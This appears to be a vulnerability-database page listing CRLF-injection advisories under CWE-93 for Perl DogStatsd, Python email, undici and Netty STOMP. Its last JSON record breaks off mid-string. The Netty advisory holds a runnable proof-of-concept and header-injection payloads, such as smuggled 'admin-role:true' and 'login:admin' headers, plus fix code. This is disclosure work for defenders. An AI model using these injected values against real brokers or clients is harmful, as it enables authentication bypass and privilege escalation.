Common Weakness Enumeration

CWE-93

Allowed

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Abstraction: Base · Status: Draft

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

385 vulnerabilities reference this CWE, most recent first.

GHSA-37FH-F35C-R73M

Vulnerability from github – Published: 2026-06-05 18:31 – Updated: 2026-06-08 21:31
VLAI
Details

DataDog::DogStatsd versions through 0.07 for Perl allow metric injections from event tags.

DataDog::DogStatsd does not properly sanitise input, allowing metric injections of data from untrusted sources.

The format_event method (used by the event method) does not validate the content of the tags, which may contain commas (allowing tags to be injected) or newlines, pipes and colons that allow metric injections. (There is an ineffective s/|//g to remove pipes, but because the pipe is not escaped, it is interpreted as a regular expression metacharacter and has no effect.)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11362"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-05T16:16:41Z",
    "severity": "CRITICAL"
  },
  "details": "DataDog::DogStatsd versions through 0.07 for Perl allow metric injections from event tags.\n\nDataDog::DogStatsd does not properly sanitise input, allowing metric injections of data from untrusted sources.\n\nThe format_event method (used by the event method) does not validate the content of the tags, which may contain commas (allowing tags to be injected) or newlines, pipes and colons that allow metric injections.  (There is an ineffective s/|//g to remove pipes, but because the pipe is not escaped, it is interpreted as a regular expression metacharacter and has no effect.)",
  "id": "GHSA-37fh-f35c-r73m",
  "modified": "2026-06-08T21:31:49Z",
  "published": "2026-06-05T18:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11362"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46719"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46720"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46741"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-39H2-3MQ3-959G

Vulnerability from github – Published: 2026-01-21 00:31 – Updated: 2026-03-03 15:31
VLAI
Details

When folding a long comment in an email header containing exclusively unfoldable characters, the parenthesis would not be preserved. This could be used for injecting headers into email messages where addresses are user-controlled and not sanitized.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-11468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-20T22:15:50Z",
    "severity": "MODERATE"
  },
  "details": "When folding a long comment in an email header containing exclusively unfoldable characters, the parenthesis would not be preserved. This could be used for injecting headers into email messages where addresses are user-controlled and not sanitized.",
  "id": "GHSA-39h2-3mq3-959g",
  "modified": "2026-03-03T15:31:35Z",
  "published": "2026-01-21T00:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11468"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/issues/143935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/pull/143936"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/003b8315669b9f08b1010a49071f73f15f818094"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/17d1490aa97bd6b98a42b1a9b324ead84e7fd8a2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/61614a5e5056e4f61ced65008d4576f3df34acb6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/a76e4cd62dd68e7cbe86e37e6ed988495a646b66"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/e9970f077240c7c670e8a6fc6662f2b30d3b6ad0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python/cpython/commit/f738386838021c762efea6c9802c82de65e87796"
    },
    {
      "type": "WEB",
      "url": "https://mail.python.org/archives/list/security-announce@python.org/thread/FELSEOLBI2QR6YLG6Q7VYF7FWSGQTKLI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3CVR-822R-RQCC

Vulnerability from github – Published: 2022-07-21 20:30 – Updated: 2022-07-21 20:30
VLAI
Summary
undici before v5.8.0 vulnerable to CRLF injection in request headers
Details

Impact

It is possible to inject CRLF sequences into request headers in Undici.

const undici = require('undici')

const response = undici.request("http://127.0.0.1:1000", {
  headers: {'a': "\r\nb"}
})

The same applies to path and method

Patches

Update to v5.8.0

Workarounds

Sanitize all HTTP headers from untrusted sources to eliminate \r\n.

References

https://hackerone.com/reports/409943 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12116

For more information

If you have any questions or comments about this advisory:

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-31150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-21T20:30:10Z",
    "nvd_published_at": "2022-07-19T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nIt is possible to inject CRLF sequences into request headers in Undici.\n\n```js\nconst undici = require(\u0027undici\u0027)\n\nconst response = undici.request(\"http://127.0.0.1:1000\", {\n  headers: {\u0027a\u0027: \"\\r\\nb\"}\n})\n```\n\nThe same applies to `path` and `method`\n\n### Patches\n\nUpdate to v5.8.0\n\n### Workarounds\n\nSanitize all HTTP headers from untrusted sources to eliminate `\\r\\n`.\n\n### References\n\nhttps://hackerone.com/reports/409943\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12116\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [undici repository](https://github.com/nodejs/undici/issues)\n* To make a report, follow the [SECURITY](https://github.com/nodejs/node/blob/HEAD/SECURITY.md) document\n",
  "id": "GHSA-3cvr-822r-rqcc",
  "modified": "2022-07-21T20:30:10Z",
  "published": "2022-07-21T20:30:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-3cvr-822r-rqcc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31150"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/commit/a29a151d0140d095742d21a004023d024fe93259"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/409943"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/releases/tag/v5.8.0"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220915-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "undici before v5.8.0 vulnerable to CRLF injection in request headers"
}

GHSA-3G8R-4PFX-JMFH

Vulnerability from github – Published: 2026-07-22 21:52 – Updated: 2026-07-22 21:52
VLAI
Summary
Netty: STOMP CONNECT Frame Header Injection in Netty
Details

Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty

1. Vulnerability Summary

Field Value
Product Netty
Version 4.2.12.Final (and all prior versions with codec-stomp)
Component io.netty.handler.codec.stomp.StompSubframeEncoder
Vulnerability Type CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers
Impact STOMP Header Injection / Authentication Bypass
CVSS 3.1 Score 6.5 (Medium)
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Attack Vector Network
Attack Complexity Low
Privileges Required Low
User Interaction None
Scope Unchanged
Confidentiality Impact None
Integrity Impact High
Availability Impact None

2. Affected Components

  • io.netty.handler.codec.stomp.StompSubframeEncoderencodeHeaders() method (lines 174-200)
  • io.netty.handler.codec.stomp.StompSubframeEncodershouldEscape() method (lines 214-216)

3. Vulnerability Description

The Netty STOMP codec encoder (StompSubframeEncoder) intentionally skips the escape() function for CONNECT and CONNECTED commands. This means that newline characters (\n) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.

Root Cause

In StompSubframeEncoder.java, the shouldEscape() method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:

private static boolean shouldEscape(StompCommand command) {
    return command != StompCommand.CONNECT && command != StompCommand.CONNECTED;
}

When shouldEscape() returns false, header values are written without any escaping (line 195):

CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();
ByteBufUtil.writeUtf8(buf, headerValue);  // Raw \n written to output
buf.writeByte(StompConstants.LF);

For other commands (SEND, SUBSCRIBE, etc.), the escape() method (lines 218-240) correctly converts \n to \\n, \r to \\r, : to \\c, and \\ to \\\\.

STOMP Specification Context and Security Analysis

The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should not use escaping, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.

However, "no escaping" does not mean "no validation". The specification's intent is that CONNECT headers should not use the \n\\n escape notation. It does not mandate that implementations must accept raw newline characters within header values. There is a critical distinction:

  • Escaping = converting \n to \\n in the wire format (spec says: don't do this for CONNECT)
  • Validation = rejecting header values that contain \n (spec does not prohibit this)

Netty's implementation conflates these two concepts: by skipping escape(), it also skips all protection against newline injection. The correct behavior would be to skip escaping but still reject values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw \n.

This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.

Additionally, Netty's own test suite explicitly validates this non-escaping behavior in StompSubframeEncoderTest.java:126-143 (testNotEscapeStompHeadersForConnectCommand), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.

Summary: The vulnerability exists because:

  1. Header values in CONNECT frames are neither escaped nor validated for newlines
  2. A raw newline in a header value creates a new header line on the wire
  3. The STOMP broker parses each line as a separate header
  4. The fix should validate (reject \n) rather than escape (convert \n to \\n), maintaining spec compliance

4. Exploitability Prerequisites

This vulnerability is exploitable when all of the following conditions are met:

  1. The application uses Netty's codec-stomp module to encode STOMP frames
  2. User-controlled input is placed into header values of a CONNECT or CONNECTED frame
  3. The application does not perform its own newline sanitization
  4. The downstream STOMP broker processes the injected headers (broker-dependent)

Typical affected use cases: - STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials - Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms - Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames

5. Attack Scenarios

Scenario 1: Authentication Bypass via Header Injection

An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:

DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
frame.headers().set(StompHeaders.HOST, "localhost");
frame.headers().set(StompHeaders.LOGIN, "guest");
// Attacker injects a role header via \n in passcode
frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true");

Wire format sent to broker:

CONNECT
host:localhost
login:guest
passcode:password
admin-role:true        <-- INJECTED HEADER
                       <-- Empty line (end of headers)
\0

The broker receives 5 headers instead of the intended 4. If the broker checks for an admin-role header to grant elevated privileges, the attacker bypasses authentication.

Scenario 2: Subscription Hijacking

frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com");

This overwrites the host header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).

Scenario 3: Header Overwrite

frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin");

Wire format:

CONNECT
login:user
login:admin            <-- INJECTED, may override first
...

Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the admin account.

6. Proof of Concept

Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.stomp.*;

import java.nio.charset.StandardCharsets;

/**
 * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability
 *
 * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and
 * CONNECTED commands, allowing \n injection in header values to create
 * additional STOMP headers.
 */
public class StompConnectHeaderInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n");

        testConnectHeaderInjection();
        testConnectVsOtherCommand();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: CONNECT command header injection via \n in value
     */
    static void testConnectHeaderInjection() {
        System.out.println("[TEST 1] CONNECT Header Value Injection");
        System.out.println("-----------------------------------------");

        // Craft a CONNECT frame with \n in passcode value
        DefaultStompHeaders headers = new DefaultStompHeaders();
        headers.set(StompHeaders.HOST, "localhost");
        headers.set(StompHeaders.ACCEPT_VERSION, "1.2");
        headers.set(StompHeaders.LOGIN, "user");
        headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true");

        DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
        frame.headers().setAll(headers);

        EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
        channel.writeOutbound(frame);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input passcode: \"password\\nadmin-role:true\"");
        System.out.println();
        System.out.println("Encoded STOMP frame:");
        System.out.println("---");
        // Show with visible control chars
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r").replace("\0", "\\0"));
        }
        System.out.println("---");

        // Check if the injected header appears as a separate line
        boolean hasInjectedHeader = false;
        String[] lines = encoded.split("\n");
        for (String line : lines) {
            if (line.startsWith("admin-role:")) {
                hasInjectedHeader = true;
                break;
            }
        }

        System.out.println();
        System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader);
        System.out.println("VULNERABLE: " + (hasInjectedHeader ?
            "YES - Header injection in CONNECT frame!" : "NO"));

        // Count actual STOMP headers (lines between command and empty line)
        int headerCount = 0;
        boolean inHeaders = false;
        for (String line : lines) {
            if (line.equals("CONNECT")) {
                inHeaders = true;
                continue;
            }
            if (inHeaders && line.trim().isEmpty()) break;
            if (inHeaders && line.contains(":")) headerCount++;
        }
        System.out.println("Expected headers: 4 (host, accept-version, login, passcode)");
        System.out.println("Actual headers:   " + headerCount);
        System.out.println();
    }

    /**
     * Test 2: Compare CONNECT (no escape) vs SEND (with escape)
     */
    static void testConnectVsOtherCommand() {
        System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison");
        System.out.println("--------------------------------------------");

        String maliciousValue = "value\ninjected:evil";

        // Test CONNECT (no escape)
        {
            DefaultStompHeaders headers = new DefaultStompHeaders();
            headers.set(StompHeaders.HOST, "localhost");
            headers.set("custom", maliciousValue);

            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);
            frame.headers().setAll(headers);
            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
            channel.writeOutbound(frame);

            ByteBuf output = channel.readOutbound();
            String encoded = output.toString(StandardCharsets.UTF_8);
            output.release();
            channel.finishAndReleaseAll();

            System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":");
            System.out.println("  Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));

            boolean hasRawNewline = encoded.contains("value\ninjected:evil");
            System.out.println("  Raw \\n in output: " + hasRawNewline);
            System.out.println("  VULNERABLE: " + (hasRawNewline ? "YES" : "NO"));
        }

        System.out.println();

        // Test SEND (with escape)
        {
            DefaultStompHeaders headers = new DefaultStompHeaders();
            headers.set(StompHeaders.DESTINATION, "/queue/test");
            headers.set("custom", maliciousValue);

            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);
            frame.headers().setAll(headers);
            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());
            channel.writeOutbound(frame);

            ByteBuf output = channel.readOutbound();
            String encoded = output.toString(StandardCharsets.UTF_8);
            output.release();
            channel.finishAndReleaseAll();

            System.out.println("SEND frame with custom=\"value\\ninjected:evil\":");
            System.out.println("  Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0"));

            boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil");
            boolean hasRawNewline = encoded.contains("value\ninjected:evil");
            System.out.println("  Escaped \\n: " + hasEscapedNewline);
            System.out.println("  Raw \\n:     " + hasRawNewline);
            System.out.println("  SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO"));
        }
        System.out.println();
    }
}

How to Compile and Run

# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q

# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')

# Compile and run
javac -cp "$JARS" StompConnectHeaderInjectionPoC.java
java -cp "$JARS:." StompConnectHeaderInjectionPoC

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty STOMP CONNECT Header Injection PoC ===

[TEST 1] CONNECT Header Value Injection
-----------------------------------------
Input passcode: "password\nadmin-role:true"

Encoded STOMP frame:
---
  CONNECT
  host:localhost
  accept-version:1.2
  login:user
  passcode:password
  admin-role:true          <-- INJECTED HEADER

  \0
---

Injected 'admin-role' appears as separate header: true
VULNERABLE: YES - Header injection in CONNECT frame!
Expected headers: 4 (host, accept-version, login, passcode)
Actual headers:   5

[TEST 2] CONNECT vs SEND Escape Comparison
--------------------------------------------
CONNECT frame with custom="value\ninjected:evil":
  Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0
  Raw \n in output: true
  VULNERABLE: YES

SEND frame with custom="value\ninjected:evil":
  Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0
  Escaped \n: true
  Raw \n:     false
  SAFE: YES


=== PoC Complete ===

Key Observation

The PoC demonstrates a clear inconsistency: - CONNECT command: \n is written raw → header injection succeeds - SEND command: \n is escaped to \\n → header injection prevented

7. Impact Analysis

Impact Category Description
Authentication Injected headers may bypass broker authentication logic
Authorization Role escalation via injected role/permission headers
Integrity Modification of connection parameters (host, version, etc.)
Broker-Specific Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.)

Affected Brokers

This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:

  • RabbitMQ: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins
  • ActiveMQ: May process custom headers for internal routing
  • Custom Brokers: Most likely to be affected if they trust all received headers

8. Remediation Recommendations

Option 1: Validate CONNECT Header Values (Recommended)

Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:

private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {
    StompCommand command = frame.command();
    ByteBufUtil.writeUtf8(buf, command.toString());
    buf.writeByte(StompConstants.LF);

    boolean shouldEscape = shouldEscape(command);
    for (Entry<CharSequence, CharSequence> entry : frame.headers()) {
        CharSequence headerKey = entry.getKey();
        CharSequence headerValue = entry.getValue();

        if (shouldEscape) {
            headerKey = escape(headerKey);
            headerValue = escape(headerValue);
        } else {
            // For CONNECT/CONNECTED: don't escape but REJECT newlines
            validateNoNewlines(headerKey, "header name");
            validateNoNewlines(headerValue, "header value");
        }

        ByteBufUtil.writeUtf8(buf, headerKey);
        buf.writeByte(StompConstants.COLON);
        ByteBufUtil.writeUtf8(buf, headerValue);
        buf.writeByte(StompConstants.LF);
    }
    buf.writeByte(StompConstants.LF);
}

private static void validateNoNewlines(CharSequence value, String type) {
    for (int i = 0; i < value.length(); i++) {
        char c = value.charAt(i);
        if (c == '\n' || c == '\r') {
            throw new IllegalArgumentException(
                "STOMP CONNECT " + type + " contains illegal newline at index " + i);
        }
    }
}

Option 2: Apply Escaping to All Commands

Simply remove the CONNECT/CONNECTED exception:

private static boolean shouldEscape(StompCommand command) {
    return true; // Always escape
}

Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.

9. References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-stomp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-stomp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59920"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:52:27Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-stomp) |\n| **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |\n| **Impact** | STOMP Header Injection / Authentication Bypass |\n| **CVSS 3.1 Score** | **6.5 (Medium)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | None |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` \u2014 `encodeHeaders()` method (lines 174-200)\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` \u2014 `shouldEscape()` method (lines 214-216)\n\n## 3. Vulnerability Description\n\nThe Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.\n\n### Root Cause\n\nIn `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n    return command != StompCommand.CONNECT \u0026\u0026 command != StompCommand.CONNECTED;\n}\n```\n\nWhen `shouldEscape()` returns `false`, header values are written without any escaping (line 195):\n\n```java\nCharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();\nByteBufUtil.writeUtf8(buf, headerValue);  // Raw \\n written to output\nbuf.writeByte(StompConstants.LF);\n```\n\nFor other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\\n` to `\\\\n`, `\\r` to `\\\\r`, `:` to `\\\\c`, and `\\\\` to `\\\\\\\\`.\n\n### STOMP Specification Context and Security Analysis\n\nThe STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.\n\n**However, \"no escaping\" does not mean \"no validation\".** The specification\u0027s intent is that CONNECT headers should not use the `\\n` \u2192 `\\\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction:\n\n- **Escaping** = converting `\\n` to `\\\\n` in the wire format (spec says: don\u0027t do this for CONNECT)\n- **Validation** = rejecting header values that contain `\\n` (spec does not prohibit this)\n\nNetty\u0027s implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed \u2014 no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\\n`.\n\nThis is analogous to Netty\u0027s own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don\u0027t need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.\n\n**Additionally**, Netty\u0027s own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice \u2014 but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.\n\n**Summary**: The vulnerability exists because:\n\n1. Header values in CONNECT frames are **neither escaped nor validated** for newlines\n2. A raw newline in a header value creates a **new header line** on the wire\n3. The STOMP broker parses each line as a separate header\n4. The fix should **validate** (reject `\\n`) rather than **escape** (convert `\\n` to `\\\\n`), maintaining spec compliance\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty\u0027s `codec-stomp` module to encode STOMP frames\n2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame\n3. The application does **not** perform its own newline sanitization\n4. The downstream STOMP broker processes the injected headers (broker-dependent)\n\n**Typical affected use cases**:\n- STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials\n- Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms\n- Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Authentication Bypass via Header Injection\n\nAn attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:\n\n```java\nDefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\nframe.headers().set(StompHeaders.HOST, \"localhost\");\nframe.headers().set(StompHeaders.LOGIN, \"guest\");\n// Attacker injects a role header via \\n in passcode\nframe.headers().set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n```\n\n**Wire format sent to broker:**\n```\nCONNECT\nhost:localhost\nlogin:guest\npasscode:password\nadmin-role:true        \u003c-- INJECTED HEADER\n                       \u003c-- Empty line (end of headers)\n\\0\n```\n\nThe broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication.\n\n### Scenario 2: Subscription Hijacking\n\n```java\nframe.headers().set(StompHeaders.PASSCODE, \"pass\\nhost:evil-broker.com\");\n```\n\nThis overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).\n\n### Scenario 3: Header Overwrite\n\n```java\nframe.headers().set(StompHeaders.LOGIN, \"user\\nlogin:admin\");\n```\n\n**Wire format:**\n```\nCONNECT\nlogin:user\nlogin:admin            \u003c-- INJECTED, may override first\n...\n```\n\nSome brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.stomp.*;\n\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability\n *\n * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and\n * CONNECTED commands, allowing \\n injection in header values to create\n * additional STOMP headers.\n */\npublic class StompConnectHeaderInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty STOMP CONNECT Header Injection PoC ===\\n\");\n\n        testConnectHeaderInjection();\n        testConnectVsOtherCommand();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: CONNECT command header injection via \\n in value\n     */\n    static void testConnectHeaderInjection() {\n        System.out.println(\"[TEST 1] CONNECT Header Value Injection\");\n        System.out.println(\"-----------------------------------------\");\n\n        // Craft a CONNECT frame with \\n in passcode value\n        DefaultStompHeaders headers = new DefaultStompHeaders();\n        headers.set(StompHeaders.HOST, \"localhost\");\n        headers.set(StompHeaders.ACCEPT_VERSION, \"1.2\");\n        headers.set(StompHeaders.LOGIN, \"user\");\n        headers.set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n\n        DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n        frame.headers().setAll(headers);\n\n        EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n        channel.writeOutbound(frame);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input passcode: \\\"password\\\\nadmin-role:true\\\"\");\n        